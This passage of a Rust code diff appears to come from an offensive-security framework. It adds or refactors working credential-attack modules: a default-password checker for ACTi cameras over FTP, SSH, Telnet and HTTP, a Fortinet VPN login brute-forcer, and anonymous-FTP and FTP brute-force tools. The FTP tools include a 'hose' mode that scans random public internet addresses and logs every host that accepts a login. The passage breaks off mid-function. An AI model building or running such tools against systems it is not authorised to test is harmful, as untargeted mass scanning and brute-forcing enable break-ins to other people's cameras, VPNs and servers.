format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
let _ = ftp.quit().await;
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
// Respect stop_on_success: if true, stop after first valid credential
if config.stop_on_success {
return Ok(result);
}
// If false, continue checking but still return first found (for consistency)
return Ok(result);
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
}
}
}
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
}
}
}
}
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
// Manual form construction
let mut body = String::new();
for (key, val) in &data {
if !body.is_empty() { body.push('&'); }
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
}
let res = client
.post(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
}
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Collect all successful results
let mut found_credentials = Vec::new();
if let Ok(Some((service, user, pass))) = ftp_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = ssh_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = telnet_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = http_res {
found_credentials.push((service, user, pass));
}
// Print summary
if !found_credentials.is_empty() {
println!();
println!("{}", "=== Summary ===".bold());
for (service, user, pass) in &found_credentials {
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
}
} else {
println!();
println!("{}", "[-] No valid credentials found on any service.".yellow());
}
Ok(())
}
@@ -0,0 +1 @@
pub mod acti_camera_default;
+1
View File
@@ -0,0 +1 @@
pub mod acti;
@@ -5,7 +5,6 @@ use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::Write,
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
@@ -16,9 +15,11 @@ use tokio::{
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_int_range,
load_lines, prompt_wordlist, normalize_target,
load_lines, prompt_existing_file, normalize_target,
get_filename_in_current_dir, prompt_port,
};
use regex::Regex;
use once_cell::sync::Lazy;
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
@@ -35,24 +36,23 @@ pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
.parse().unwrap_or(443);
let port: u16 = prompt_port("Fortinet VPN Port", 443)?;
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
let usernames_file_path = prompt_existing_file("Username wordlist path")?;
let passwords_file_path = prompt_existing_file("Password wordlist path")?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let _save_results = prompt_yes_no("Save results to file?", true).await?;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let _save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if _save_results {
Some(prompt_default("Output file name", "fortinet_results.txt").await?)
Some(prompt_default("Output file name", "fortinet_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
// Optional prompts
// We don't have prompt_optional in shared utils yet?
@@ -63,10 +63,10 @@ pub async fn run(target: &str) -> Result<()> {
// The previous code had `prompt_optional`.
// I will use prompt_default with empty default and check for empty string.
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "").await?;
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?;
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
let realm_str = prompt_default("Authentication realm (optional)", "").await?;
let realm_str = prompt_default("Authentication realm (optional)", "")?;
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
let base_url = build_fortinet_url(target, port)?;
@@ -198,8 +198,10 @@ async fn spawn_fortinet_task(
stop_on_success: bool,
timeout: Duration
) {
let permit = semaphore.clone().acquire_owned().await.ok();
if permit.is_none() { return; }
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, stop processing
};
tasks.push(tokio::spawn(async move {
let _permit = permit;
@@ -294,12 +296,12 @@ async fn try_fortinet_login(
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
// Manual form construction
let mut body = String::new();
// Build form body
let mut form_pairs: Vec<String> = Vec::new();
for (key, val) in &form_data {
if !body.is_empty() { body.push('&'); }
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
form_pairs.push(format!("{}={}", key, urlencoding::encode(val)));
}
let body = form_pairs.join("&");
let login_response = match timeout(
timeout_duration,
@@ -337,38 +339,28 @@ async fn try_fortinet_login(
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for success indicators
if response_body.contains("redir")
|| response_body.contains("\"1\"")
|| response_body.contains("success")
|| response_body.contains("/remote/index")
|| response_body.contains("portal")
{
// Check for explicit success indicators
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(true);
}
// Check for failure indicators
if response_body.contains("error")
|| response_body.contains("invalid")
|| response_body.contains("failed")
|| response_body.contains("incorrect")
|| response_body.contains("\"0\"")
{
// Check for explicit failure indicators
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(false);
}
// Check status and cookies
// Check status code and authentication cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location
// Check redirect location for success
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
{
let success_redirects = ["/remote/index", "portal", "index"];
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
return Ok(true);
}
}
@@ -377,21 +369,21 @@ async fn try_fortinet_login(
Ok(false)
}
/// Extracts CSRF token from HTML response
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
fn extract_csrf_token(html: &str) -> Option<String> {
let patterns = vec![
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
vec![
Regex::new(r#"name="magic"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"name="csrf_token"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#""magic"\s*:\s*"([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"magic=([^&\s"]+)"#).expect("Invalid regex pattern"),
]
});
for pattern in patterns {
if let Ok(re) = Regex::new(pattern) {
if let Some(captures) = re.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
for pattern in CSRF_PATTERNS.iter() {
if let Some(captures) = pattern.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
@@ -405,7 +397,12 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
// Check if port is already present
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
// IPv6 case: check if there's a colon after the closing bracket
if let Some(bracket_pos) = normalized_host.rfind(']') {
normalized_host[bracket_pos..].contains(':')
} else {
false
}
} else {
normalized_host.contains(':')
};
@@ -418,12 +415,3 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
Ok(url)
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -0,0 +1,345 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::process::Command;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use rand::Rng;
use tokio::net::TcpStream; // For fast connect check
use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
const CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
println!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
// Optional: Check if we can run command?
// For single target, we usually just report login success in legacy mode.
// But let's be consistent and try listing.
match ftp.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
}
// 2️⃣ Fallback to FTPS
println!("{}", "[*] Attempting FTPS connection...".cyan());
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
match ftps.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let _verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "ftp_mass_results.txt")?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} open anonymous FTP found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
// Simple IP parse
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
stats_found: Arc<AtomicUsize>,
output_file: String,
) {
let sa = SocketAddr::new(ip, 21);
// 1. Connection Check
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// 2. FTP Login (Plain only for speed/mass scan)
let addr_str = format!("{}:21", ip);
match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
// LOGIN OK - Now VERIFY command capability
// We use LIST (None implies current directory)
// We set a short timeout for list because sometimes passive mode hangs on bad NATs
match timeout(Duration::from_secs(5), ftp.list(None)).await {
Ok(Ok(_)) => {
// Success: Login + List
// Format: IP:PORT:USER:PASS
let msg = format!("{}:21:anonymous:anonymous", ip);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
}
Ok(Err(_)) => {
// Login ok, List failed (550 or similar)
}
Err(_) => {
// List timed out (PASV issue?)
}
}
let _ = ftp.quit().await;
}
}
_ => {}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null()) // Suppress stderr just in case
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
@@ -1,4 +1,4 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
@@ -7,22 +7,44 @@ use std::{
io::Write,
sync::Arc,
time::Duration,
net::{IpAddr, Ipv4Addr, SocketAddr},
};
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
process::Command,
fs::OpenOptions,
io::AsyncWriteExt,
net::TcpStream,
};
use futures::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
prompt_int_range, prompt_existing_file, prompt_port,
load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_brute_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
/// FTP error classification for better handling
#[derive(Debug, Clone, Copy)]
@@ -39,7 +61,7 @@ impl FtpErrorType {
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
// Authentication failed (wrong credentials)
// Authentication failed
if msg.contains("530") || msg_lower.contains("login incorrect") ||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
@@ -75,7 +97,7 @@ impl FtpErrorType {
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Brute Force Module ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode)".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
@@ -103,17 +125,25 @@ fn format_addr_for_display(target: &str, port: u16) -> String {
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("FTP Port", "21").await?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist").await?;
let passwords_file = prompt_required("Password wordlist").await?;
// --- Standard Single Target Logic ---
let port: u16 = prompt_port("FTP Port", 21)?;
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500").await?;
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
@@ -123,15 +153,15 @@ pub async fn run(target: &str) -> Result<()> {
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt").await?)
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let display_addr = format_addr_for_display(target, port);
let connect_addr = format_addr_for_display(target, port);
@@ -225,8 +255,8 @@ pub async fn run(target: &str) -> Result<()> {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
let mut _unknown_clone = unknown_clone.lock().await;
_unknown_clone.push((
display_addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
@@ -234,14 +264,7 @@ pub async fn run(target: &str) -> Result<()> {
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow());
}
}
}
@@ -306,14 +329,7 @@ pub async fn run(target: &str) -> Result<()> {
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user, pass_clone, msg
)
.yellow()
);
println!("\r{}", format!("[!] Error: {}", e).yellow());
}
}
}
@@ -344,15 +360,18 @@ pub async fn run(target: &str) -> Result<()> {
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} {} -> {}:{}", "".green(), host, user, pass);
println!(" {} {}:{}:{}", "".green(), host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
// Standardized format: IP:PORT:USER:PASS
// host should already include IP:PORT based on `display_addr` formatting earlier
// But wait, `display_addr` is `[IP]:Port` or `IP:Port`
// We want strictly `IP:PORT:USER:PASS`
if writeln!(file, "{}:{}:{}", host, user, pass).is_err() {
break;
}
}
@@ -365,58 +384,167 @@ pub async fn run(target: &str) -> Result<()> {
}
}
drop(creds);
Ok(())
}
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored FTP responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true).await? {
let default_name = "ftp_unknown_responses.txt";
let prompt_msg = format!(
"What should the unknown results be saved as? (default: {})",
default_name
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port: u16 = prompt_port("FTP Port", 21)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
